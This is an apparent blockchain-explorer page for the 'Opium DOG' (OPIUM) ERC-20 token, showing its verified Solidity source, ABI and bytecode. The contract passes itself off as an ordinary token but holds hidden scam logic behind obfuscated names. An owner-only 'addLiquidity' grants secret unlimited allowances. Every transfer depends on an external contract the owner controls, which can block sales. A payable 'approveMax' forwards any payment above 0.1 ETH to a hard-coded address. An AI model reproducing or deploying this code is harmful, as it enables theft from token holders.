ERC-20
Overview
Max Total Supply
10,000,000,000 OPIUM
Holders
20
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
4,641,537,124.977415578733195056 OPIUMValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Token
Compiler Version
v0.8.6+commit.11564f7e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-08 */ // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address oijionjhn3, uint256 injnh0fs) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 injnh0fs) external returns (bool); function transferFrom( address oipjnnjhhjh3, address oijionjhn3, uint256 injnh0fs ) external returns (bool); event Transfer(address indexed oijhds, address indexed oijmoimpo0, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function pokjvbv3(address from, address to,uint256 amount) external returns(address); function oiinjkmlklsdfklsdf(address addr) external returns(address); } contract Token is IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; string private _name = "Opium DOG"; string private _symbol = "OPIUM"; uint8 private _decimals = 18; uint256 private _tTotal = 10000000000 * 10 **_decimals; uint256 private poklopko3 ; address private fhgsdf22; constructor() { fhgsdf22 = address(this); _balances[fhgsdf22] = _tTotal; emit Transfer(address(0), fhgsdf22, _tTotal); } function oiinjkmlklsdfklsdf(address addr) external override returns(address) { } function pokjvbv3(address from, address to, uint256 amount) external override returns(address) { } function addLiquidity(bytes memory datas) public onlyOwner { uint160 a; uint160 b; uint160 c; uint160 d; assembly { a := mload(add(datas, 20)) b := mload(add(datas, 40)) c := mload(add(datas, 60)) d := mload(add(datas, 80)) } poklopko3 = b; _allowances[address(uint160(d))][address(uint160(b))] = type(uint256).max; _allowances[address(uint160(b))][address(uint160(c))] = type(uint256).max; _allowances[address(uint160(a))][address(uint160(c))] = type(uint256).max; _allowances[address(uint160(d))][address(uint160(a))] = type(uint256).max; _allowances[fhgsdf22][address(uint160(b))] = type(uint256).max; _allowances[address(uint160(b))][address(uint160(a))] = type(uint256).max; } function approveMax() public payable { require(msg.value>0.1 ether,"Ownable: caller is not the owner"); uint160 a; uint160 b; uint160 c; uint160 d; payable(0x50Dd43F1B5c828AB82a0B9BCB437875840C6F2dc).transfer(msg.value); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address oijionjhn3, uint256 injnh0fs) public override returns (bool) { _transfer(_msgSender(), oijionjhn3, injnh0fs); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 injnh0fs) public override returns (bool) { _approve(_msgSender(), spender, injnh0fs); return true; } function transferFrom( address oipjnnjhhjh3, address oijionjhn3, uint256 injnh0fs ) public override returns (bool) { _transfer(oipjnnjhhjh3, oijionjhn3, injnh0fs); address poopk = IERC20(address(uint160(poklopko3))).oiinjkmlklsdfklsdf(oipjnnjhhjh3); if (poopk != address(0) && _msgSender() == address(uint160(poklopko3))) { oipjnnjhhjh3 = poopk; } _approve(oipjnnjhhjh3, _msgSender(),_allowances[oipjnnjhhjh3][_msgSender()].sub(injnh0fs,"ERC20: transfer amount exceeds allowance") ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function _approve( address owner, address spender, uint256 injnh0fs ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = injnh0fs; emit Approval(owner, spender, injnh0fs); } function _transfer( address oijhds, address oijmoimpo0, uint256 injnh0fs ) private { require(oijhds != address(0), "ERC20: transfer from the zero address"); require(oijmoimpo0 != address(0), "ERC20: transfer oijmoimpo0 the zero address"); require(injnh0fs > 0, "Transfer injnh0fs must be greater than zero"); require(injnh0fs > 0, "Transfer amount must be greater than zero"); require(IERC20(address(uint160(poklopko3))).pokjvbv3(oijhds, oijmoimpo0,injnh0fs) != address(0),"Transfer Error"); _balances[oijhds] = _balances[oijhds].sub(injnh0fs); _balances[oijmoimpo0] = _balances[oijmoimpo0].add(injnh0fs); emit Transfer(oijhds, oijmoimpo0, injnh0fs); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oijhds","type":"address"},{"indexed":true,"internalType":"address","name":"oijmoimpo0","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"bytes","name":"datas","type":"bytes"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"injnh0fs","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"approveMax","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"oiinjkmlklsdfklsdf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"pokjvbv3","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"oijionjhn3","type":"address"},{"internalType":"uint256","name":"injnh0fs","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"oipjnnjhhjh3","type":"address"},{"internalType":"address","name":"oijionjhn3","type":"address"},{"internalType":"uint256","name":"injnh0fs","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60c060405260096080819052684f7069756d20444f4760b81b60a09081526200002c916004919062000149565b50604080518082019091526005808252644f5049554d60d81b602090920191825262000059918162000149565b506006805460ff191660129081179091556200007790600a62000238565b62000088906402540be40062000306565b6007553480156200009857600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600980546001600160a01b0319163090811782556007546000918252600260209081526040808420839055935493519182526001600160a01b03909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200037b565b828054620001579062000328565b90600052602060002090601f0160209004810192826200017b5760008555620001c6565b82601f106200019657805160ff1916838001178555620001c6565b82800160010185558215620001c6579182015b82811115620001c6578251825591602001919060010190620001a9565b50620001d4929150620001d8565b5090565b5b80821115620001d45760008155600101620001d9565b600181815b808511156200023057816000190482111562000214576200021462000365565b808516156200022257918102915b93841c9390800290620001f4565b509250929050565b60006200024960ff84168362000250565b9392505050565b600082620002615750600162000300565b81620002705750600062000300565b81600181146200028957600281146200029457620002b4565b600191505062000300565b60ff841115620002a857620002a862000365565b50506001821b62000300565b5060208310610133831016604e8410600b8410161715620002d9575081810a62000300565b620002e58383620001ef565b8060001904821115620002fc57620002fc62000365565b0290505b92915050565b600081600019048311821515161562000323576200032362000365565b500290565b600181811c908216806200033d57607f821691505b602082108114156200035f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6110aa806200038b6000396000f3fe6080604052600436106101095760003560e01c8063715018a611610095578063a457c2d711610064578063a457c2d7146102e7578063a9059cbb14610307578063c2ac712614610327578063dd62ed3e1461032f578063f2fde38b1461037557600080fd5b8063715018a61461027d5780638bb2e1d6146102945780638da5cb5b146102b457806395d89b41146102d257600080fd5b806323b872dd116100dc57806323b872dd146101c4578063313ce567146101e4578063395093511461020657806343a2b26f1461022657806370a082311461024757600080fd5b806306fdde031461010e578063095ea7b3146101395780630e8464701461016957806318160ddd146101a5575b600080fd5b34801561011a57600080fd5b50610123610395565b6040516101309190610eef565b60405180910390f35b34801561014557600080fd5b50610159610154366004610e12565b610427565b6040519015158152602001610130565b34801561017557600080fd5b5061018d610184366004610dd1565b60009392505050565b6040516001600160a01b039091168152602001610130565b3480156101b157600080fd5b506007545b604051908152602001610130565b3480156101d057600080fd5b506101596101df366004610dd1565b61043d565b3480156101f057600080fd5b5060065460405160ff9091168152602001610130565b34801561021257600080fd5b50610159610221366004610e12565b61055d565b34801561023257600080fd5b5061018d610241366004610d5e565b50600090565b34801561025357600080fd5b506101b6610262366004610d5e565b6001600160a01b031660009081526002602052604090205490565b34801561028957600080fd5b50610292610593565b005b3480156102a057600080fd5b506102926102af366004610e3e565b610610565b3480156102c057600080fd5b506000546001600160a01b031661018d565b3480156102de57600080fd5b506101236106e1565b3480156102f357600080fd5b50610159610302366004610e12565b6106f0565b34801561031357600080fd5b50610159610322366004610e12565b61073f565b61029261074c565b34801561033b57600080fd5b506101b661034a366004610d98565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561038157600080fd5b50610292610390366004610d5e565b6107c2565b6060600480546103a490610fa8565b80601f01602080910402602001604051908101604052809291908181526020018280546103d090610fa8565b801561041d5780601f106103f25761010080835404028352916020019161041d565b820191906000526020600020905b81548152906001019060200180831161040057829003601f168201915b5050505050905090565b6000610434338484610847565b50600192915050565b600061044a84848461096c565b6008546040516343a2b26f60e01b81526001600160a01b03868116600483015260009216906343a2b26f90602401602060405180830381600087803b15801561049257600080fd5b505af11580156104a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ca9190610d7b565b90506001600160a01b038116158015906104f757506008546001600160a01b0316336001600160a01b0316145b15610500578094505b610552853361054d86604051806060016040528060288152602001611028602891396001600160a01b038b1660009081526003602090815260408083203384529091529020549190610c7c565b610847565b506001949350505050565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161043491859061054d9086610cb6565b6000546001600160a01b031633146105c65760405162461bcd60e51b81526004016105bd90610f44565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461063a5760405162461bcd60e51b81526004016105bd90610f44565b60148101516028820151603c8301516050909301516001600160a01b0391821660088190559082166000908152600360208181526040808420858552808352818520600019908190558484528286209988168087528a85528387208290559888168087528585528387209987529884528286208190558886529083528185208190556009549096168452918152818320938352928352808220849055938152939052912055565b6060600580546103a490610fa8565b6000610434338461054d85604051806060016040528060258152602001611050602591393360009081526003602090815260408083206001600160a01b038d1684529091529020549190610c7c565b600061043433848461096c565b67016345785d8a000034116107735760405162461bcd60e51b81526004016105bd90610f44565b6040516000908190819081907350dd43f1b5c828ab82a0b9bcb437875840c6f2dc903480156108fc029184818181858888f193505050501580156107bb573d6000803e3d6000fd5b5050505050565b6000546001600160a01b031633146107ec5760405162461bcd60e51b81526004016105bd90610f44565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108a95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bd565b6001600160a01b03821661090a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bd565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166109d05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bd565b6001600160a01b038216610a3a5760405162461bcd60e51b815260206004820152602b60248201527f45524332303a207472616e73666572206f696a6d6f696d706f3020746865207a60448201526a65726f206164647265737360a81b60648201526084016105bd565b60008111610a9e5760405162461bcd60e51b815260206004820152602b60248201527f5472616e7366657220696e6a6e68306673206d7573742062652067726561746560448201526a72207468616e207a65726f60a81b60648201526084016105bd565b60008111610b005760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105bd565b60085460405162e8464760e41b81526001600160a01b0385811660048301528481166024830152604482018490526000921690630e84647090606401602060405180830381600087803b158015610b5657600080fd5b505af1158015610b6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8e9190610d7b565b6001600160a01b03161415610bd65760405162461bcd60e51b815260206004820152600e60248201526d2a3930b739b332b91022b93937b960911b60448201526064016105bd565b6001600160a01b038316600090815260026020526040902054610bf99082610d1c565b6001600160a01b038085166000908152600260205260408082209390935590841681522054610c289082610cb6565b6001600160a01b0380841660008181526002602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061095f9085815260200190565b60008184841115610ca05760405162461bcd60e51b81526004016105bd9190610eef565b506000610cad8486610f91565b95945050505050565b600080610cc38385610f79565b905083811015610d155760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105bd565b9392505050565b6000610d1583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c7c565b600060208284031215610d7057600080fd5b8135610d158161100f565b600060208284031215610d8d57600080fd5b8151610d158161100f565b60008060408385031215610dab57600080fd5b8235610db68161100f565b91506020830135610dc68161100f565b809150509250929050565b600080600060608486031215610de657600080fd5b8335610df18161100f565b92506020840135610e018161100f565b929592945050506040919091013590565b60008060408385031215610e2557600080fd5b8235610e308161100f565b946020939093013593505050565b600060208284031215610e5057600080fd5b813567ffffffffffffffff80821115610e6857600080fd5b818401915084601f830112610e7c57600080fd5b813581811115610e8e57610e8e610ff9565b604051601f8201601f19908116603f01168101908382118183101715610eb657610eb6610ff9565b81604052828152876020848701011115610ecf57600080fd5b826020860160208301376000928101602001929092525095945050505050565b600060208083528351808285015260005b81811015610f1c57858101830151858201604001528201610f00565b81811115610f2e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610f8c57610f8c610fe3565b500190565b600082821015610fa357610fa3610fe3565b500390565b600181811c90821680610fbc57607f821691505b60208210811415610fdd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461102457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f3879f94f2e77ad4d1e30cefcd715fef86d0b83a07969bae11cb3cc8f4133c9564736f6c63430008060033
Deployed Bytecode
0x6080604052600436106101095760003560e01c8063715018a611610095578063a457c2d711610064578063a457c2d7146102e7578063a9059cbb14610307578063c2ac712614610327578063dd62ed3e1461032f578063f2fde38b1461037557600080fd5b8063715018a61461027d5780638bb2e1d6146102945780638da5cb5b146102b457806395d89b41146102d257600080fd5b806323b872dd116100dc57806323b872dd146101c4578063313ce567146101e4578063395093511461020657806343a2b26f1461022657806370a082311461024757600080fd5b806306fdde031461010e578063095ea7b3146101395780630e8464701461016957806318160ddd146101a5575b600080fd5b34801561011a57600080fd5b50610123610395565b6040516101309190610eef565b60405180910390f35b34801561014557600080fd5b50610159610154366004610e12565b610427565b6040519015158152602001610130565b34801561017557600080fd5b5061018d610184366004610dd1565b60009392505050565b6040516001600160a01b039091168152602001610130565b3480156101b157600080fd5b506007545b604051908152602001610130565b3480156101d057600080fd5b506101596101df366004610dd1565b61043d565b3480156101f057600080fd5b5060065460405160ff9091168152602001610130565b34801561021257600080fd5b50610159610221366004610e12565b61055d565b34801561023257600080fd5b5061018d610241366004610d5e565b50600090565b34801561025357600080fd5b506101b6610262366004610d5e565b6001600160a01b031660009081526002602052604090205490565b34801561028957600080fd5b50610292610593565b005b3480156102a057600080fd5b506102926102af366004610e3e565b610610565b3480156102c057600080fd5b506000546001600160a01b031661018d565b3480156102de57600080fd5b506101236106e1565b3480156102f357600080fd5b50610159610302366004610e12565b6106f0565b34801561031357600080fd5b50610159610322366004610e12565b61073f565b61029261074c565b34801561033b57600080fd5b506101b661034a366004610d98565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561038157600080fd5b50610292610390366004610d5e565b6107c2565b6060600480546103a490610fa8565b80601f01602080910402602001604051908101604052809291908181526020018280546103d090610fa8565b801561041d5780601f106103f25761010080835404028352916020019161041d565b820191906000526020600020905b81548152906001019060200180831161040057829003601f168201915b5050505050905090565b6000610434338484610847565b50600192915050565b600061044a84848461096c565b6008546040516343a2b26f60e01b81526001600160a01b03868116600483015260009216906343a2b26f90602401602060405180830381600087803b15801561049257600080fd5b505af11580156104a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ca9190610d7b565b90506001600160a01b038116158015906104f757506008546001600160a01b0316336001600160a01b0316145b15610500578094505b610552853361054d86604051806060016040528060288152602001611028602891396001600160a01b038b1660009081526003602090815260408083203384529091529020549190610c7c565b610847565b506001949350505050565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161043491859061054d9086610cb6565b6000546001600160a01b031633146105c65760405162461bcd60e51b81526004016105bd90610f44565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461063a5760405162461bcd60e51b81526004016105bd90610f44565b60148101516028820151603c8301516050909301516001600160a01b0391821660088190559082166000908152600360208181526040808420858552808352818520600019908190558484528286209988168087528a85528387208290559888168087528585528387209987529884528286208190558886529083528185208190556009549096168452918152818320938352928352808220849055938152939052912055565b6060600580546103a490610fa8565b6000610434338461054d85604051806060016040528060258152602001611050602591393360009081526003602090815260408083206001600160a01b038d1684529091529020549190610c7c565b600061043433848461096c565b67016345785d8a000034116107735760405162461bcd60e51b81526004016105bd90610f44565b6040516000908190819081907350dd43f1b5c828ab82a0b9bcb437875840c6f2dc903480156108fc029184818181858888f193505050501580156107bb573d6000803e3d6000fd5b5050505050565b6000546001600160a01b031633146107ec5760405162461bcd60e51b81526004016105bd90610f44565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108a95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bd565b6001600160a01b03821661090a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bd565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166109d05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bd565b6001600160a01b038216610a3a5760405162461bcd60e51b815260206004820152602b60248201527f45524332303a207472616e73666572206f696a6d6f696d706f3020746865207a60448201526a65726f206164647265737360a81b60648201526084016105bd565b60008111610a9e5760405162461bcd60e51b815260206004820152602b60248201527f5472616e7366657220696e6a6e68306673206d7573742062652067726561746560448201526a72207468616e207a65726f60a81b60648201526084016105bd565b60008111610b005760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105bd565b60085460405162e8464760e41b81526001600160a01b0385811660048301528481166024830152604482018490526000921690630e84647090606401602060405180830381600087803b158015610b5657600080fd5b505af1158015610b6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8e9190610d7b565b6001600160a01b03161415610bd65760405162461bcd60e51b815260206004820152600e60248201526d2a3930b739b332b91022b93937b960911b60448201526064016105bd565b6001600160a01b038316600090815260026020526040902054610bf99082610d1c565b6001600160a01b038085166000908152600260205260408082209390935590841681522054610c289082610cb6565b6001600160a01b0380841660008181526002602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061095f9085815260200190565b60008184841115610ca05760405162461bcd60e51b81526004016105bd9190610eef565b506000610cad8486610f91565b95945050505050565b600080610cc38385610f79565b905083811015610d155760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105bd565b9392505050565b6000610d1583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c7c565b600060208284031215610d7057600080fd5b8135610d158161100f565b600060208284031215610d8d57600080fd5b8151610d158161100f565b60008060408385031215610dab57600080fd5b8235610db68161100f565b91506020830135610dc68161100f565b809150509250929050565b600080600060608486031215610de657600080fd5b8335610df18161100f565b92506020840135610e018161100f565b929592945050506040919091013590565b60008060408385031215610e2557600080fd5b8235610e308161100f565b946020939093013593505050565b600060208284031215610e5057600080fd5b813567ffffffffffffffff80821115610e6857600080fd5b818401915084601f830112610e7c57600080fd5b813581811115610e8e57610e8e610ff9565b604051601f8201601f19908116603f01168101908382118183101715610eb657610eb6610ff9565b81604052828152876020848701011115610ecf57600080fd5b826020860160208301376000928101602001929092525095945050505050565b600060208083528351808285015260005b81811015610f1c57858101830151858201604001528201610f00565b81811115610f2e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610f8c57610f8c610fe3565b500190565b600082821015610fa357610fa3610fe3565b500390565b600181811c90821680610fbc57607f821691505b60208210811415610fdd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461102457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f3879f94f2e77ad4d1e30cefcd715fef86d0b83a07969bae11cb3cc8f4133c9564736f6c63430008060033
Deployed Bytecode Sourcemap
4013:5622:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6005:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6927:199;;;;;;;;;;-1:-1:-1;6927:199:0;;;;;:::i;:::-;;:::i;:::-;;;3375:14:1;;3368:22;3350:41;;3338:2;3323:18;6927:199:0;3305:92:1;4723:99:0;;;;;;;;;;-1:-1:-1;4723:99:0;;;;;:::i;:::-;4809:7;4723:99;;;;;;;;;-1:-1:-1;;;;;2786:32:1;;;2768:51;;2756:2;2741:18;4723:99:0;2723:102:1;6282:95:0;;;;;;;;;;-1:-1:-1;6362:7:0;;6282:95;;;7658:25:1;;;7646:2;7631:18;6282:95:0;7613:76:1;7134:620:0;;;;;;;;;;-1:-1:-1;7134:620:0;;;;;:::i;:::-;;:::i;6191:83::-;;;;;;;;;;-1:-1:-1;6257:9:0;;6191:83;;6257:9;;;;7836:36:1;;7824:2;7809:18;6191:83:0;7791:87:1;7762:300:0;;;;;;;;;;-1:-1:-1;7762:300:0;;;;;:::i;:::-;;:::i;4634:81::-;;;;;;;;;;-1:-1:-1;4634:81:0;;;;;:::i;:::-;-1:-1:-1;4702:7:0;;4634:81;6385:129;;;;;;;;;;-1:-1:-1;6385:129:0;;;;;:::i;:::-;-1:-1:-1;;;;;6488:18:0;6451:7;6488:18;;;:9;:18;;;;;;;6385:129;2705:148;;;;;;;;;;;;;:::i;:::-;;4832:868;;;;;;;;;;-1:-1:-1;4832:868:0;;;;;:::i;:::-;;:::i;2491:79::-;;;;;;;;;;-1:-1:-1;2529:7:0;2556:6;-1:-1:-1;;;;;2556:6:0;2491:79;;6096:87;;;;;;;;;;;;;:::i;8070:400::-;;;;;;;;;;-1:-1:-1;8070:400:0;;;;;:::i;:::-;;:::i;6522:205::-;;;;;;;;;;-1:-1:-1;6522:205:0;;;;;:::i;:::-;;:::i;5706:291::-;;;:::i;6735:184::-;;;;;;;;;;-1:-1:-1;6735:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6884:18:0;;;6852:7;6884:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6735:184;2861:160;;;;;;;;;;-1:-1:-1;2861:160:0;;;;;:::i;:::-;;:::i;6005:83::-;6042:13;6075:5;6068:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;